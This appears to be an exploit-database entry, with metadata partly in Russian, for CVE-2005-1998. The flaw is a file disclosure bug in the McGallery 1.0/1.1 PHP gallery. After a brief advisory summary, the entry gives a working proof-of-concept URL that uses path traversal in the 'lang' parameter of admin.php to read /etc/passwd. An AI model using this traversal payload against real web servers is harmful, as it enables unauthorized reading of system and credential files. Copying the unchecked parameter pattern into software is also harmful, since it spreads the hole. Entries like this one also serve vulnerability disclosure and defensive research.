Exploit McGallery 1.0/1.1 - Lang Argument File Disclosure

[Exploiter]

EDB-ID

25823

Проверка EDB

1. Пройдено

Автор

D_BUG

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2005-1998

Дата публикации

2005-06-15

source: https://www.securityfocus.com/bid/13963/info

McGallery is prone to a file disclosure vulnerability.

This could let remote attackers access files on the computer in the context of the Web server process. 

http://example.com/mcgallery/admin.php?lang=../../../../../../etc/passwd